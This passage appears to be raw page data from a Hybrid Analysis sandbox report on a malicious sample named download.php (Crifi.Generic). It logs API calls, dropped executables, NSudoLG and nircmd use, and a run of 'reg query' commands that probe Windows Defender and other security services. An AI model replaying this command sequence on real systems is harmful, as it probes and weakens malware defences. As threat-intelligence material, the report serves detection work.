24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 54:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T483,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Crifi.Generic Sample 7644ab6a3459… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 7644ab6a3459…. Malware family: Crifi.Generic. Threat score 100/100. 11/28 AV engines flagged this file. 6 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/7644ab6a34591b55e252def550ca92fdf2fc4d34d424aca6ea41150fedf6b108","keywords":["Malicious","Crifi.Generic","malware analysis","sandbox report","threat intelligence","7644ab6a34591b55e252def550ca92fdf2fc4d34d424aca6ea41150fedf6b108"],"about":{"@type":"SoftwareApplication","name":"download.php","applicationCategory":["peexe","executable"],"identifier":"7644ab6a34591b55e252def550ca92fdf2fc4d34d424aca6ea41150fedf6b108","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Crifi.Generic","antivirusDetections":{"malicious":11,"total":28},"behavioralIndicators":{"malicious":6,"suspicious":18},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T4de,"download.php.exe" called "FindResourceA" with parameter "20779640" - (UID: 00000000-00002484) "download.php.exe" called "FindResourceA" with parameter "20779648" - (UID: 00000000-00002484) "download.php.exe" called "FindResourceA" with parameter "20779676" - (UID: 00000000-00002484) "download.php.exe" called "FindResourceA" with parameter "20779888" - (UID: 00000000-00002484) "download.php.exe" called "FindResourceA" with parameter "20779704" - (UID: 00000000-00002484) "download.php.exe" called "FindResourceA" with parameter "20779860" - (UID: 00000000-00002484) "download.php.exe" called "FindResourceA" with parameter "20779872" - (UID: 00000000-00002484) "download.php.exe" called "FindResourceA" with parameter "14218812" - (UID: 00000000-00002484) "download.php.exe" called "FindResourceA" with parameter "20779756" - (UID: 00000000-00002484) "download.php.exe" called "FindResourceA" with parameter "20779852" - (UID: 00000000-00002484) "download.php.exe" called "FindResourceA" with parameter "14218808" - (UID: 00000000-00002484) "download.php.exe" called "FindResourceA" with parameter "20779720" - (UID: 00000000-00002484) "download.php.exe" called "FindResourceA" with parameter "20779728" - (UID: 00000000-00002484)26:T7df,"download.php.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20826536'}" (UID: 00000000-00002484) "download.php.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20826392'}" (UID: 00000000-00002484) "download.php.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20826552'}" (UID: 00000000-00002484) "download.php.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20826440'}" (UID: 00000000-00002484) "download.php.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20826408'}" (UID: 00000000-00002484) "download.php.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20826456'}" (UID: 00000000-00002484) "download.php.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20826504'}" (UID: 00000000-00002484) "download.php.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20826376'}" (UID: 00000000-00002484) "download.php.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20826488'}" (UID: 00000000-00002484) "download.php.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20826520'}" (UID: 00000000-00002484) "download.php.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20826472'}" (UID: 00000000-00002484) "download.php.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20826424'}" (UID: 00000000-00002484) "1Q37l5.exe" called "LoadResource with parameter {'hModule': '12648448', 'hResInfo': '13059072'}" (UID: 00000000-00002924) "NSudoLG.exe" called "LoadResource with parameter {'hModule': '140703095390208', 'hResInfo': '140703095538736'}" (UID: 00000000-00004264) "NSudoLG.exe" called "LoadResource with parameter {'hModule': '140703095390208', 'hResInfo': '140703095538624'}" (UID: 00000000-00004264) "NSudoLG.exe" called "LoadResource with parameter {'hModule': '140703095390208', 'hResInfo': '140703095538512'}" (UID: 00000000-00004264)27:T492,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "download.php") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "download.php") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "download.php") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "download.php") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "download.php") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "download.php") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "download.php") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "download.php") Found reference to API "SleepEx" (Indicator: "SleepEx"; File: "download.php") Found reference to API "SetTimer" (Indicator: "SetTimer"; File: "download.php") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00004360.00000000.172778.00CF1000.00000040.mdmp")28:T5d8,Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; File: "download.php") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00002484.00000000.172381.01090000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00002484.00000000.172381.01090000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00002484.00000000.172381.01090000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00002484.00000000.172381.01090000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp")29:T4cf,Found reference to API "SendMessageA" (Indicator: "sendmessage"; File: "download.php") Found reference to API "SendMessageW" (Indicator: "sendmessage"; File: "download.php") Found reference to API "EnumWindows" (Indicator: "enumwindows"; File: "download.php") Found reference to API "PostMessageA" (Indicator: "postmessage"; File: "download.php") Found reference to API "FindWindowA" (Indicator: "findwindow"; File: "download.php") Found reference to API "EnumChildWindows" (Indicator: "enumchildwindows"; File: "download.php") Found reference to API "SendMessageTimeoutA" (Indicator: "sendmessage"; File: "download.php") Found reference to API "FindWindowExW" (Indicator: "findwindow"; Source: "00000000-00002924-00000C2B-1694932845") Found reference to API "PostMessageW" (Indicator: "postmessage"; Source: "00000000-00002924-00000C2B-1695227369") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp") Found reference to API "11902873242,6484,100,,FindWindowExW,user32.dll,"00:44:59.671",RX=0,PX=0" (Indicator: "findwindow"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp")2a:T200e,"download.php.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002484) "download.php.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002484) "download.php.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002484) "1Q37l5.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002924) "1Q37l5.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000072000000704818012c481801f39bcf77a04b18017c1e370372000000c0303703704818010000000054481801977fcf7770481801e4303703e99cd177000800000000000000000000e4303703c030370318aac9047848180172453f7500000000c030b574ffffffffbbc2c1005c000000c030b57400080000400cc200686c1801 (UID: 00000000-00002924) "1Q37l5.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002924) "1Q37l5.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f000002000000000038035005fa71000000002a004974fc8642742a004974fb8cd0770000000000000000fc86427450fa18010000000000000000000000002a0049740900000008c6380309000000fc864274000000005005fa71180000004086491413926e73600b18010000000088fd1801b0bf6e73b4ee2166feffffff10fa18015a946d73c0f91801000000000000000073946d733cfa18010000000000000000000000000000000000000000000000000100000000000000010000000000000038fa18010000000048fa1801000000003cfa18010000000000000000000000004b000e765886491450fa180184da3d754418c90454fa1801dab93d750000f17148fa1801 (UID: 00000000-00002924) "1Q37l5.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ffff00000000d00a160138cfd077fc3737033c0b160101000000b0373703fc373703b0373703040000000400000000e04975001000003c0b160101000000b0373703cd97d0779c97d07704efc704b50f4075b03737030000d07700000000bcd733740000000080ee46750100000000000000f8e24975000000000400000080a9657448404875f8e24975400b160180e84c7620d9370380e84c763c0b16010000000080e84c7600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000005eaa0e0874aa0e08 (UID: 00000000-00002924) "1Q37l5.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000004e173d0366173d03 (UID: 00000000-00002924) "1Q37l5.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000fedb0e0812dc0e08 (UID: 00000000-00002924) "1Q37l5.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000005e110f0874110f08 (UID: 00000000-00002924) "1Q37l5.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000026ae0e083eae0e08 (UID: 00000000-00002924) "1Q37l5.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000ae170f08c6170f08 (UID: 00000000-00002924)2b:T5dc,"download.php.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000f4d800dce36e7340bd0b0100000000f0f4d8009aac6e7340bd0b0148f5d800a58f6e7340bd0b01010000005def3e13000000005aa260500000000003000000fcf5d8000a000000c009000040f6d80078f5d8005f0000000300000000f5d80008f5d80010f8d800b0bf6e73058b9660feffffff50f6d80055116d735aa26050 (UID: 00000000-00002484) "1Q37l5.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000100c1d0300000000e8e418015916d077010000000800000001000000000037030000000010000000000000000000000002000000020000000000370301000000080000000000000008e51801ee13d07701000000ee13d077080000000000000008000000e47f511540e71801ad9c5673000037030800000001000000 (UID: 00000000-00002924) "2e2941.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004360) "nircmd.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001288)2c:T609,"download.php.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "download.php.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "1Q37l5.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "reg.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "2e2941.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "NSudoLG.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "nircmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")2d:Tcfa,"download.php.exe" called "CreateProcessA" with parameter "%TEMP%\IXP000.TMP\1Q37l5.exe" - (UID: 00000000-00002484) "download.php.exe" called "CreateProcessA" with parameter "%TEMP%\IXP000.TMP\2e2941.exe" - (UID: 00000000-00002484) "cmd.exe" called "CreateProcessW" with parameter "nircmd win min process "cmd.exe"" - (UID: 00000000-00005668) "cmd.exe" called "CreateProcessW" with parameter "chcp 65001" - (UID: 00000000-00005668) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKU\S-1-5-19"" - (UID: 00000000-00005668) "cmd.exe" called "CreateProcessW" with parameter "reg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f" - (UID: 00000000-00005668) "cmd.exe" called "CreateProcessW" with parameter "Mode 79,49" - (UID: 00000000-00005668) "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c ver" - (UID: 00000000-00005668) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA"" - (UID: 00000000-00005668) "cmd.exe" called "CreateProcessW" with parameter "find /i "0x0"" - (UID: 00000000-00005668) "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c tasklist" - (UID: 00000000-00005668) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\System\CurrentControlSet\Services\WinDefend"" - (UID: 00000000-00005668) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\System\CurrentControlSet\Services\MDCoreSvc"" - (UID: 00000000-00005668) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\System\CurrentControlSet\Services\WdNisSvc"" - (UID: 00000000-00005668) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\System\CurrentControlSet\Services\Sense"" - (UID: 00000000-00005668) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\System\CurrentControlSet\Services\wscsvc"" - (UID: 00000000-00005668) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\System\CurrentControlSet\Services\SgrmBroker"" - (UID: 00000000-00005668) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\System\CurrentControlSet\Services\SecurityHealthService"" - (UID: 00000000-00005668) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\System\CurrentControlSet\Services\webthreatdefsvc"" - (UID: 00000000-00005668) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\System\CurrentControlSet\Services\webthreatdefusersvc"" - (UID: 00000000-00005668) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\System\CurrentControlSet\Services\WdNisDrv"" - (UID: 00000000-00005668) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\System\CurrentControlSet\Services\WdBoot"" - (UID: 00000000-00005668) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\System\CurrentControlSet\Services\WdFilter"" - (UID: 00000000-00005668) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\System\CurrentControlSet\Services\SgrmAgent"" - (UID: 00000000-00005668) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\System\CurrentControlSet\Services\MsSecWfp"" - (UID: 00000000-00005668)2e:T3cfb,"download.php.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002484) "download.php.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002484) "download.php.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002484) "download.php.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002484) "download.php.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00002484) "download.php.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00002484) "download.php.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00002484) "1Q37l5.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002924) "1Q37l5.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002924) "1Q37l5.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002924) "1Q37l5.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002924) "1Q37l5.exe" called "LoadLibrary" with a parameter " (Indicator: "CreateProcess"; Source: "00000000-00002484.00000000.172381.01090000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00002484.00000000.172381.01090000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00002484.00000000.172381.01090000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00002484.00000000.172381.01090000.00000004.mdmp") Found reference to API "PRINT,NS_ElevateCreateProcess::APIHook_CreateProcessA,318,[ApiName] Hook Entered" (Indicator: "CreateProcess"; Source: "00000000-00002484.00000000.172381.01090000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp") Found reference to API "levateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp") Found reference to API "PAT_LAYER=ElevateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp")30:T5ea,Found reference to API "RegCreateKeyExA" (Indicator: "RegCreateKey"; File: "download.php") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00002484.00000000.172381.01090000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00002484.00000000.172381.01090000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00002484.00000000.172381.01090000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00002484.00000000.172381.01090000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00004360.00000000.172778.03290000.00000004.mdmp")31:T928a,Found reference to API (Indicator: "RegCloseKey"; File: "download.php") Found reference to API (Indicator: "RegQueryInfoKeyA"; File: "download.php") Found reference to API (Indicator: "RegDeleteValueA"; File: "download.php") Found reference to API (Indicator: "RegQueryValueExA"; File: "download.php") Found reference to API (Indicator: "AdjustTokenPrivileges"; File: "download.php") Found reference to API (Indicator: "AllocateAndInitializeSid"; File: "download.php") Found reference to API (Indicator: "GetTokenInformation"; File: "download.php") Found reference to API (Indicator: "OpenProcessToken"; File: "download.php") Found reference to API (Indicator: "EqualSid"; File: "download.php") Found reference to API (Indicator: "RegCreateKeyExA"; File: "download.php") Found reference to API (Indicator: "RegOpenKeyExA"; File: "download.php") Found reference to API (Indicator: "LookupPrivilegeValueA"; File: "download.php") Found reference to API (Indicator: "RegSetValueExA"; File: "download.php") Found reference to API (Indicator: "FreeSid"; File: "download.php") Found reference to API (Indicator: "GetDeviceCaps"; File: "download.php") Found reference to API (Indicator: "RemoveDirectoryA"; File: "download.php") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; File: "download.php") Found reference to API (Indicator: "GetTempFileNameA"; File: "download.php") Found reference to API (Indicator: "GetPrivateProfileStringA"; File: "download.php") Found reference to API (Indicator: "LocalFree"; File: "download.php") Found reference to API (Indicator: "WritePrivateProfileStringA"; File: "download.php") Found reference to API (Indicator: "FindNextFileA"; File: "download.php") Found reference to API (Indicator: "CreateProcessA"; File: "download.php") Found reference to API (Indicator: "GetLastError"; File: "download.php") Found reference to API (Indicator: "GetStartupInfoW"; File: "download.php") Found reference to API (Indicator: "GetVersionExA"; File: "download.php") Found reference to API (Indicator: "FreeLibrary"; File: "download.php") Found reference to API (Indicator: "GetCurrentProcess"; File: "download.php") Found reference to API (Indicator: "CompareStringA"; File: "download.php") Found reference to API (Indicator: "GetCurrentDirectoryA"; File: "download.php") Found reference to API (Indicator: "EnumResourceLanguagesA"; File: "download.php") Found reference to API (Indicator: "GetTickCount"; File: "download.php") Found reference to API (Indicator: "FindFirstFileA"; File: "download.php") Found reference to API (Indicator: "LocalAlloc"; File: "download.php") Found reference to API (Indicator: "GetPrivateProfileIntA"; File: "download.php") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "download.php") Found reference to API (Indicator: "SetCurrentDirectoryA"; File: "download.php") Found reference to API (Indicator: "SetFileTime"; File: "download.php") Found reference to API (Indicator: "ExitProcess"; File: "download.php") Found reference to API (Indicator: "CreateThread"; File: "download.php") Found reference to API (Indicator: "WriteFile"; File: "download.php") Found reference to API (Indicator: "GetModuleHandleW"; File: "download.php") Found reference to API (Indicator: "CreateFileA"; File: "download.php") Found reference to API (Indicator: "TerminateProcess"; File: "download.php") Found reference to API (Indicator: "GetModuleFileNameA"; File: "download.php") Found reference to API (Indicator: "GlobalUnlock"; File: "download.php") Found reference to API (Indicator: "GetWindowsDirectoryA"; File: "download.php") Found reference to API (Indicator: "GetFileAttributesA"; File: "download.php") Found reference to API (Indicator: "DosDateTimeToFileTime"; File: "download.php") Found reference to API (Indicator: "GetShortPathNameA"; File: "download.php") Found reference to API (Indicator: "MulDiv"; File: "download.php") Found reference to API (Indicator: "FormatMessageA"; File: "download.php") Found reference to API (Indicator: "LocalFileTimeToFileTime"; File: "download.php") Found reference to API (Indicator: "SetEvent"; File: "download.php") Found reference to API (Indicator: "GetCurrentThreadId"; File: "download.php") Found reference to API (Indicator: "LockResource"; File: "download.php") Found reference to API (Indicator: "ResetEvent"; File: "download.php") Found reference to API (Indicator: "LoadLibraryA"; File: "download.php") Found reference to API (Indicator: "GetCurrentProcessId"; File: "download.php") Found reference to API (Indicator: "TerminateThread"; File: "download.php") Found reference to API (Indicator: "GetDiskFreeSpaceA"; File: "download.php") Found reference to API (Indicator: "Sleep"; File: "download.php") Found reference to API (Indicator: "GetVolumeInformationA"; File: "download.php") Found reference to API (Indicator: "FindClose"; File: "download.php") Found reference to API (Indicator: "GetVersion"; File: "download.php") Found reference to API (Indicator: "CreateMutexA"; File: "download.php") Found reference to API (Indicator: "GetTempPathA"; File: "download.php") Found reference to API (Indicator: "WaitForSingleObject"; File: "download.php") Found reference to API (Indicator: "LoadLibraryExA"; File: "download.php") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "download.php") Found reference to API (Indicator: "DeleteFileA"; File: "download.php") Found reference to API (Indicator: "GetSystemInfo"; File: "download.php") Found reference to API (Indicator: "GetExitCodeProcess"; File: "download.php") Found reference to API (Indicator: "CreateEventA"; File: "download.php") Found reference to API (Indicator: "FindResourceA"; File: "download.php") Found reference to API (Indicator: "GetSystemDirectoryA"; File: "download.php") Found reference to API (Indicator: "SetFilePointer"; File: "download.php") Found reference to API (Indicator: "CreateDirectoryA"; File: "download.php") Found reference to API (Indicator: "IsDBCSLeadByte"; File: "download.php") Found reference to API (Indicator: "ReadFile"; File: "download.php") Found reference to API (Indicator: "lstrcmpA"; File: "download.php") Found reference to API (Indicator: "GlobalFree"; File: "download.php") Found reference to API (Indicator: "GetProcAddress"; File: "download.php") Found reference to API (Indicator: "SizeofResource"; File: "download.php") Found reference to API (Indicator: "SetFileAttributesA"; File: "download.php") Found reference to API (Indicator: "GlobalLock"; File: "download.php") Found reference to API (Indicator: "GlobalAlloc"; File: "download.php") Found reference to API (Indicator: 